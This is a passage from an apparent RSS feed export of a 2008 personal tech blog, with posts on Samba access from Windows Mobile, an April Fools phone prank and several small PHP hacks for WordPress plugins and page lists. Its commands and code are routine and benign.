&lt;p&gt;Don&amp;rsquo;t get me wrong, I love GIMP but its an overkill when I have to go through 2 menus, a dialogue box and several clicks, just to make a silly rectangle, but I don&amp;rsquo;t hold anything against it cuz afterall its an &amp;ldquo;Image Manipulation&amp;rdquo; program, not a painting one.&lt;/p&gt;
&lt;p&gt;So, what do you use/recommend when you have to draw a few basic shapes, connect them through lines and arrows, put in a mashup of few silly pics and colorize it a bit with basic effects? And are there any gnome native ones or do I ultimately have to give in to install KDE dependencies?&lt;/p&gt;</content></item><item><title>Breaking News: Handsolo - A Revolution In The Mobile Phone Industry?</title><link>https://shantanugoel.com/2008/04/01/breaking-news-handsolo-a-revolution-in-the-mobile-phone-industry/</link><pubDate>Tue, 01 Apr 2008 14:49:35 +0000</pubDate><guid>https://shantanugoel.com/2008/04/01/breaking-news-handsolo-a-revolution-in-the-mobile-phone-industry/</guid><description>&lt;p&gt;Qualcomm wets it feet again in the ice-cold/boiling-hot mixture of a sea that our Mobile Phone Industry is. They decided that the all the phone makers around the globe are just churning out junk upon the unsuspecting people. Claiming to take the bull by its horns, and revolutionizing the world that whirls around it, the touted features are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;No Battery Required&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unlimited Expandable Memory&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Completely Waterproof&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&amp;hellip;and weight -&amp;gt; weightless&lt;/p&gt;</description><content>&lt;p&gt;Qualcomm wets it feet again in the ice-cold/boiling-hot mixture of a sea that our Mobile Phone Industry is. They decided that the all the phone makers around the globe are just churning out junk upon the unsuspecting people. Claiming to take the bull by its horns, and revolutionizing the world that whirls around it, the touted features are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;No Battery Required&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unlimited Expandable Memory&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Completely Waterproof&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&amp;hellip;and weight -&amp;gt; weightless&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;size -&amp;gt; oops, I lost the phone somewhere inside my fingernail&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Go and see it in action at &lt;a href="http://www.handsolomobile.com/"&gt;http://www.handsolomobile.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BUT&lt;/strong&gt;, then come back and hit the &amp;ldquo;Continue Reading&amp;rdquo; link to know some more scoop about it ;)&lt;/p&gt;
&lt;p&gt;I bet that’s a completely indigenous, in-house design……of a fools’ day prank ;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; OK, I just saw the video they had posted. It&amp;rsquo; confirmed its a prank, but the video is quite funny, definitely watchable..&lt;/p&gt;</content></item><item><title>TIP: Make Those Linux Samba Shares Accessible From Windows Mobile</title><link>https://shantanugoel.com/2008/03/30/tip-make-those-linux-samba-shares-accessible-from-windows-mobile/</link><pubDate>Sun, 30 Mar 2008 10:30:12 +0000</pubDate><guid>https://shantanugoel.com/2008/03/30/tip-make-those-linux-samba-shares-accessible-from-windows-mobile/</guid><description>&lt;p&gt;If you have ever needed to share files between your Linux and Windows computers, you have obviously used &lt;a href="http://en.wikipedia.org/wiki/Samba_(software)"&gt;Samba&lt;/a&gt;, and have been quite happy with the way it seamlessly provides access to and from shared folders/files from Windows and Linux. However, many people complain that although their smb/Samba shares are accessible from Windows, they are not able to do the same with their Windows Mobile devices. e.g., using a tool called &amp;ldquo;Resco Explorer&amp;rdquo; on Windows Mobile, all they get while searching for their linux based Samba shares is the following screenshot:&lt;/p&gt;</description><content>&lt;p&gt;If you have ever needed to share files between your Linux and Windows computers, you have obviously used &lt;a href="http://en.wikipedia.org/wiki/Samba_(software)"&gt;Samba&lt;/a&gt;, and have been quite happy with the way it seamlessly provides access to and from shared folders/files from Windows and Linux. However, many people complain that although their smb/Samba shares are accessible from Windows, they are not able to do the same with their Windows Mobile devices. e.g., using a tool called &amp;ldquo;Resco Explorer&amp;rdquo; on Windows Mobile, all they get while searching for their linux based Samba shares is the following screenshot:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/1_cant_find_computer.jpg" alt="Cannot Find Computer on Network"&gt;&lt;/p&gt;
&lt;p&gt;Well, there is no big magic trick to get an access to those shares, as they are already accessibly. You just need to do one more teeny little step to access them.&lt;/p&gt;
&lt;p&gt;The trick is that on Windows Mobile it will not detect your computer as having a shareable folder and will not show it, and it will thus not show a list of shared folders. So, what you need to do is enter the path to the folder you want to access. e.g.: If your computer&amp;rsquo;s name is &amp;ldquo;MyComp&amp;rdquo; and the folder you want to access is &amp;ldquo;MyFolder&amp;rdquo;, then you need to give the path &amp;ldquo;\MyComp\MyFolder&amp;rdquo; to the application on Windows Mobile from which you are trying to access your shares and it&amp;rsquo;ll connect without any problems. Of course, it&amp;rsquo;ll ask you for your username/pwd for which you need to enter your linux user name and password. Below screenshots tell you how to do this with Resco Explorer, however the same method can be used for other applications like Total Commander, Windows Mobile File Explorer, etc as well.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enter Path and click share.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/2_enter_full_path.jpg" alt="Enter Full Path"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Enter User Name / Password&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/3_enter_user_password.jpg" alt="Enter User Name And Password"&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;Its done :-)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/4_its_done.jpg" alt="Access To Share Is Done"&gt;&lt;/p&gt;
&lt;p&gt;Let me know if you face any issues with this.&lt;/p&gt;</content></item><item><title>Gawd Damnit!! South Park Episodes Go Online</title><link>https://shantanugoel.com/2008/03/29/gawd-damnit-south-park-episodes-go-online/</link><pubDate>Sat, 29 Mar 2008 20:38:55 +0000</pubDate><guid>https://shantanugoel.com/2008/03/29/gawd-damnit-south-park-episodes-go-online/</guid><description>&lt;p&gt;Trey and Matt had talked about it a few days ago, that they were tired of downloding their own show &lt;a href="http://en.wikipedia.org/wiki/South_Park"&gt;South Park&lt;/a&gt; illegally. So, here it is folks. A fully revamped &lt;a href="http://www.southparkstudios.com/"&gt;South Park Studios&lt;/a&gt; that, among other things, features full streaming of ALL the southpark episodes so far, yes that includes the latest season as well. Whats even better is that I find the quality of these even better than the ones that I downloaded earlier. Way to go, Trey and Matt. I had always thought of you as really cool guys because of your show, now you are my heroes cuz you do what you preach.&lt;/p&gt;</description><content>&lt;p&gt;Trey and Matt had talked about it a few days ago, that they were tired of downloding their own show &lt;a href="http://en.wikipedia.org/wiki/South_Park"&gt;South Park&lt;/a&gt; illegally. So, here it is folks. A fully revamped &lt;a href="http://www.southparkstudios.com/"&gt;South Park Studios&lt;/a&gt; that, among other things, features full streaming of ALL the southpark episodes so far, yes that includes the latest season as well. Whats even better is that I find the quality of these even better than the ones that I downloaded earlier. Way to go, Trey and Matt. I had always thought of you as really cool guys because of your show, now you are my heroes cuz you do what you preach.&lt;/p&gt;
&lt;p&gt;Oh My God! They killed Kenny. :-)&lt;/p&gt;
&lt;p&gt;Aww, you sweet little kids.&lt;/p&gt;</content></item><item><title>WordPress 2.5 RC3 Released: Without Even An Announcement</title><link>https://shantanugoel.com/2008/03/28/wordpress-25-rc3-released-without-even-an-announcement/</link><pubDate>Fri, 28 Mar 2008 19:31:04 +0000</pubDate><guid>https://shantanugoel.com/2008/03/28/wordpress-25-rc3-released-without-even-an-announcement/</guid><description>&lt;p&gt;**Update: **I guess they didn&amp;rsquo;t announce it because they were about to release the final thing. Yes, WordPress 2.5 final has been released and even WordPress.org has undergone a total revamp to match the release.&lt;/p&gt;
&lt;p&gt;Yes, I just downloaded it through WordPress.org though can’t find it being mentioned anywhere on WordPress Development Blog. Did they forget to announce it or somebody over at Automattic put up the link by mistake. Anyways, if you want to get it at the earliest as well, head over to the &lt;a href="http://wordpress.org/download/release-archive/"&gt;WordPress Release Archive&lt;/a&gt; and look at the very bottom of the page. Rest details later. I’m away to test it out on my home server.&lt;/p&gt;</description><content>&lt;p&gt;**Update: **I guess they didn&amp;rsquo;t announce it because they were about to release the final thing. Yes, WordPress 2.5 final has been released and even WordPress.org has undergone a total revamp to match the release.&lt;/p&gt;
&lt;p&gt;Yes, I just downloaded it through WordPress.org though can’t find it being mentioned anywhere on WordPress Development Blog. Did they forget to announce it or somebody over at Automattic put up the link by mistake. Anyways, if you want to get it at the earliest as well, head over to the &lt;a href="http://wordpress.org/download/release-archive/"&gt;WordPress Release Archive&lt;/a&gt; and look at the very bottom of the page. Rest details later. I’m away to test it out on my home server.&lt;/p&gt;</content></item><item><title>Free Domain, Free Webhosting from Microsoft</title><link>https://shantanugoel.com/2008/03/27/free-domain-free-webhosting-from-microsoft/</link><pubDate>Thu, 27 Mar 2008 16:13:29 +0000</pubDate><guid>https://shantanugoel.com/2008/03/27/free-domain-free-webhosting-from-microsoft/</guid><description>&lt;p&gt;Microsoft is doling out a lot of free stuff today. If you have a Live ID, or have the patience of 5 minutes to fill up a small form to create a new one, you can get free domain name as well as free webhosting from then for one complete year. Cool, huh? All you need to do is click &lt;a href="http://smallbusiness.officelive.com/"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A word of caution: Unless you are creating a new website just for kicks, you might want to check out the terms and conditions properly because I&amp;rsquo;m not sure whether you can transfer the domain name to some other provider after the one year is over.&lt;/p&gt;</description><content>&lt;p&gt;Microsoft is doling out a lot of free stuff today. If you have a Live ID, or have the patience of 5 minutes to fill up a small form to create a new one, you can get free domain name as well as free webhosting from then for one complete year. Cool, huh? All you need to do is click &lt;a href="http://smallbusiness.officelive.com/"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A word of caution: Unless you are creating a new website just for kicks, you might want to check out the terms and conditions properly because I&amp;rsquo;m not sure whether you can transfer the domain name to some other provider after the one year is over.&lt;/p&gt;</content></item><item><title>HACK: Fixing The Code Syntax Highlighter WordPress Plugins To Work With WYSIWYG</title><link>https://shantanugoel.com/2008/03/23/hack-fixing-the-code-syntax-highlighter-wordpress-plugins-to-work-with-wysiwyg/</link><pubDate>Sun, 23 Mar 2008 17:18:22 +0000</pubDate><guid>https://shantanugoel.com/2008/03/23/hack-fixing-the-code-syntax-highlighter-wordpress-plugins-to-work-with-wysiwyg/</guid><description>&lt;p&gt;There are many code syntax highlighter plugins available for WordPress (e.g. iG Syntax Highlighter, WP-Syntax, etc) but almost all of them have a problem. They want you to write the code in &amp;ldquo;HTML editing mode&amp;rdquo;. If you use any kind of WYSIWYG or visual editors (like built in TinyMCE or offline clients&amp;rsquo; similar modes), there is a grave problem. Your code becomes garbled. e.g.&lt;/p&gt;
&lt;p&gt;If you intend to write:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat abc &amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It might turn out as:&lt;/p&gt;</description><content>&lt;p&gt;There are many code syntax highlighter plugins available for WordPress (e.g. iG Syntax Highlighter, WP-Syntax, etc) but almost all of them have a problem. They want you to write the code in &amp;ldquo;HTML editing mode&amp;rdquo;. If you use any kind of WYSIWYG or visual editors (like built in TinyMCE or offline clients&amp;rsquo; similar modes), there is a grave problem. Your code becomes garbled. e.g.&lt;/p&gt;
&lt;p&gt;If you intend to write:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat abc &amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It might turn out as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;&amp;amp;nbsp;cat abc &amp;amp;gt; /dev/null&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The issue here is that the code highlighting plugins use the &amp;ldquo;exact&amp;rdquo; text entered within the [ code ] (or similar) tags, and since we used the WYSIWYG/visual editors, they add html formatting tags to the code and also convert some special characters into HTML entities (e.g. &amp;gt; into &amp;gt;, &amp;lt; into &amp;lt;, white space into  , etc).&lt;/p&gt;
&lt;p&gt;The workaround is that you can write the code in html editing mode. But the problem here is that if you happen to switch to the visual mode or edit your post in this mode any time later, the problem will come back which makes editing posts a pain. So, here is a simple hack that will let you write your code in visual/WYSIWYG mode without doing anything special.&lt;/p&gt;
&lt;p&gt;**Note: **Although this hack is for &lt;a href="http://blog.igeek.info/still-fresh/2006/02/25/code-for-fun/"&gt;iG:Synatx Highlighter&lt;/a&gt; plugin, but it can be added similarly to other plugins as well.&lt;/p&gt;
&lt;p&gt;Step 1) Open the file syntax_hilite.php.&lt;/p&gt;
&lt;p&gt;Step 2) Go to line no. 191 and delete the following 3 lines:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$arrSearch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt; &amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;lt; &amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34; &amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34; &amp;amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;&amp;amp;nbsp;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;lt;&amp;amp;nbsp;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;nbsp;&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;nbsp;&amp;amp;gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$arrReplace &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$inTxt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str_replace&lt;/span&gt;($arrSearch, $arrReplace, $inTxt);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Step 3) At the same place (from where you deleted the lines), add the following lines:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$inTxt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strip_tags&lt;/span&gt;($inTxt);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;PHP_VERSION&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $inTxt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;html_entity_decode&lt;/span&gt;($inTxt, &lt;span style="color:#a6e22e"&gt;ENT_QUOTES&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $arrSearch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;nbsp;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;amp;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $arrReplace &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34; &amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;amp;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $inTxt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;str_replace&lt;/span&gt;($arrSearch, $arrReplace, $inTxt);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Step 4) Save the file. That&amp;rsquo;s it. You&amp;rsquo;re done.&lt;/p&gt;
&lt;p&gt;What we just did was strip out all the extraneous html formatting added by your editor and then convert the html entities into the characters that we want.&lt;/p&gt;
&lt;p&gt;**IMPORTANT: **After this hack, you should write your code in visual mode. If you want to display some html code to your readers and write it in html mode of the editor then it might go boink. Otherwise it should be simple enough to create a new tag so that one set html editor code works and for another set, visual editor code works. But I would definitely recommend against it and anyways writing all code in visual mode, just like your other parts of your posts as its much more intuitive to write and easier to maintain and port to newer platforms.&lt;/p&gt;</content></item><item><title>Project: Windows Mobile Tool ShantzTodayChanger Updated to version 1.53</title><link>https://shantanugoel.com/2008/03/22/project-windows-mobile-tool-shantztodaychanger-updated-to-version-153/</link><pubDate>Sat, 22 Mar 2008 20:49:17 +0000</pubDate><guid>https://shantanugoel.com/2008/03/22/project-windows-mobile-tool-shantztodaychanger-updated-to-version-153/</guid><description>&lt;p&gt;ShantzTodayChanger is a little tool written by me for your Windows Mobile based phones (WM5/WM6) which will cycle ur today background or theme after a set interval of time. It has a lot of features and options and you can even use it to achieve something other than changing wallpapers as well (e.g. running applications at set times) but that depends on your imagination.&lt;/p&gt;
&lt;p&gt;Changes in this version:&lt;/p&gt;
&lt;p&gt;1.53 - 23-March-08 -&amp;gt; RECOMMENDED UPDATE&lt;br&gt;
i)Theme Color Detection has been improved a lot. Should work much more accurately now.&lt;/p&gt;</description><content>&lt;p&gt;ShantzTodayChanger is a little tool written by me for your Windows Mobile based phones (WM5/WM6) which will cycle ur today background or theme after a set interval of time. It has a lot of features and options and you can even use it to achieve something other than changing wallpapers as well (e.g. running applications at set times) but that depends on your imagination.&lt;/p&gt;
&lt;p&gt;Changes in this version:&lt;/p&gt;
&lt;p&gt;1.53 - 23-March-08 -&amp;gt; RECOMMENDED UPDATE&lt;br&gt;
i)Theme Color Detection has been improved a lot. Should work much more accurately now.&lt;/p&gt;</content></item><item><title>Hack: WordPress function 'wp_list_pages' to output page description (or other custom fields) in your page lists</title><link>https://shantanugoel.com/2008/03/19/hack-wordpress-function-wp_list_pages-to-output-page-description-or-other-custom-fields-in-your-page-lists/</link><pubDate>Wed, 19 Mar 2008 03:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/03/19/hack-wordpress-function-wp_list_pages-to-output-page-description-or-other-custom-fields-in-your-page-lists/</guid><description>&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I&amp;rsquo;m neither a WordPress guru nor a PHP expert. This is what it is, a dirtly little hack, otherwise I&amp;rsquo;d have called it an &amp;ldquo;enhancement&amp;rdquo; &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt="Smile"&gt;&lt;/p&gt;
&lt;p&gt;Now onto the main things.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aim:&lt;/strong&gt; You would have used wp_list_pages (or plugins like &lt;a href="http://www.dagondesign.com/articles/list-subpages-plugin-for-wordpress/"&gt;dd-list-subpages&lt;/a&gt;, that use it) to display a list of your pages/subpages on a particular page. e.g., I use it on my &amp;ldquo;&lt;a href="http://tech.shantanugoel.com/projects"&gt;Projects&lt;/a&gt;&amp;rdquo; pages hierarchy to list all the relevant projects under a particular heading. Now, the thing is that wp_list_pages gives you a lot of options to display things like dates, page title, page link, etc, but that&amp;rsquo;s not enough. I need to provide a small description for each page as well, to put things into perspective. Obviously, I don&amp;rsquo;t expect the visitors to go inside each link to see what it holds in store for them.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I&amp;rsquo;m neither a WordPress guru nor a PHP expert. This is what it is, a dirtly little hack, otherwise I&amp;rsquo;d have called it an &amp;ldquo;enhancement&amp;rdquo; &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt="Smile"&gt;&lt;/p&gt;
&lt;p&gt;Now onto the main things.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aim:&lt;/strong&gt; You would have used wp_list_pages (or plugins like &lt;a href="http://www.dagondesign.com/articles/list-subpages-plugin-for-wordpress/"&gt;dd-list-subpages&lt;/a&gt;, that use it) to display a list of your pages/subpages on a particular page. e.g., I use it on my &amp;ldquo;&lt;a href="http://tech.shantanugoel.com/projects"&gt;Projects&lt;/a&gt;&amp;rdquo; pages hierarchy to list all the relevant projects under a particular heading. Now, the thing is that wp_list_pages gives you a lot of options to display things like dates, page title, page link, etc, but that&amp;rsquo;s not enough. I need to provide a small description for each page as well, to put things into perspective. Obviously, I don&amp;rsquo;t expect the visitors to go inside each link to see what it holds in store for them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Hack:&lt;/strong&gt; What you need to do is locate a file called &amp;ldquo;classes.php&amp;rdquo; in your wordpress installation. It is usually located at &lt;code&gt;&amp;lt;WordPress Base&amp;gt;/wp-includes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, open the file and find a function called &amp;ldquo;start_el&amp;rdquo;. This is a function in the &amp;ldquo;Walker&amp;rdquo; class, which is used in WordPress to parse tree-like structures. Here, it used by wp_list_pages to list out all the pages. Now, at the very end of this function (just after the closing brace of if ( !empty($show_date) ) { ), place the following piece of code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$description &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_post_meta&lt;/span&gt;($page&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ID&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($page&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ID&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; $current_page)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $output &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt; &amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;$description)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $description &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strip_tags&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;substr&lt;/span&gt;($page&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;post_content&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;250&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $output &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; $description;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What this code does is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Look for a custom field called &amp;ldquo;description&amp;rdquo; in your pages. If present, it will show what you wrote there after each of your page in the list generated by wp_list_pages. (To add a custom field to your page, look at the very bottom of your &amp;ldquo;write&amp;rdquo; page or &amp;ldquo;manage&amp;rdquo; page in the WordPress dashboard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
